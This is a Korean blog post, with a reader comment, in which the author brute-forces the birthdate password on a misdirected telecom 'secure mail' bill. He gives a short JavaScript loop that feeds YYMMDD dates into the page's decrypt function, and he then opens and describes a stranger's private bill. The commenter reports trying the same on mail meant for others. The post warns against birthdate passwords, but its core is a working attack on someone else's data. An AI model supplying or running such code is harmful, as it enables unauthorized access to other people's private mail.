비밀번호를 생년월일로 사용한 보안메일

몇일전 나의 메일주소로 X통신사의 이메일 청구서가 날라왔다.
내용은 보안메일이라고 사용자의 생년월일을 입력하라고 요구하였다.
수신한 메일은 나의 청구서가 아니며 비밀번호에 해당하는 생년월일도 모르는 상황이다.
잠깐 생각해보니 사람이 100년 산다고 생각하고 1년은 365일이라는걸 가정했을때 간단하게 36500의 경우의 수를 얻을 수 있었다.
또한 미성년의 경우는 제외하고 가장 가까운 날짜부터 차례로 계산한다고 하면 3만이 되지않는 경우의 수가 나온다.
직접 손으로 입력하기에는 많은데 JavaScript를 이용하여 패스워드에 해당하는 문자열을 생성하고 이를 Decrypt에 직접 대입하며 성공할때까지 수행하도록 만들 수 있다.

function toYMD(date) {
    var d = date.getDate();
    var m = date.getMonth() + 1;
    var y = date.getFullYear();
    return y.toString().substr(2,2) + (m<=9 ? '0' + m : m) + (d <= 9 ? '0' + d : d);
}

d= new Date();
d.setFullYear(d.getFullYear()-20);

while (1)
{
	d.setDate(d.getDate()-1);
	sd = toYMD(d);
	console.log("Current %s",sd);
	if(SecureEngine.decryptFunc(sd) != null) // 함수이름은 ^^;
	{
		console.log("Found : %s",sd);
		break;
	}
}

생각보다 빠르진 않았지만 결과는 스크립트를 실행한지 30분이 되지않아 출력되었다.

획득한 비밀번호를 이용하여 보안(?) 메일을 열어볼 수 있었다.

VVIP고객님께서 갤럭시 J5로 바꾸면서 이메일 주소를 잘못입력한것으로 확인된다.
(수신거부가 없다..)

생년월일은 절대로 비밀번호로 사용하지 않도록 해야 한다.
(근데 내가 받아보는 카드 청구서도 비밀번호는 생년월일이었다…..)

2 thoughts on “비밀번호를 생년월일로 사용한 보안메일”

  1. 저도 어느 고객님이 두 분이나 제 이메일로 바꾸셔서 짜증나는 메일을 매달 받고 있습니다.
    해보신 것처럼 시도해봤는데, 요즘은 smime body를 잘 암호화해주셔서.. 제 능력의 한계를 확인했습니다.
    혹시 함수 이름은 어떻게 알 수 있나요?

Leave a Reply

Your email address will not be published. Required fields are marked *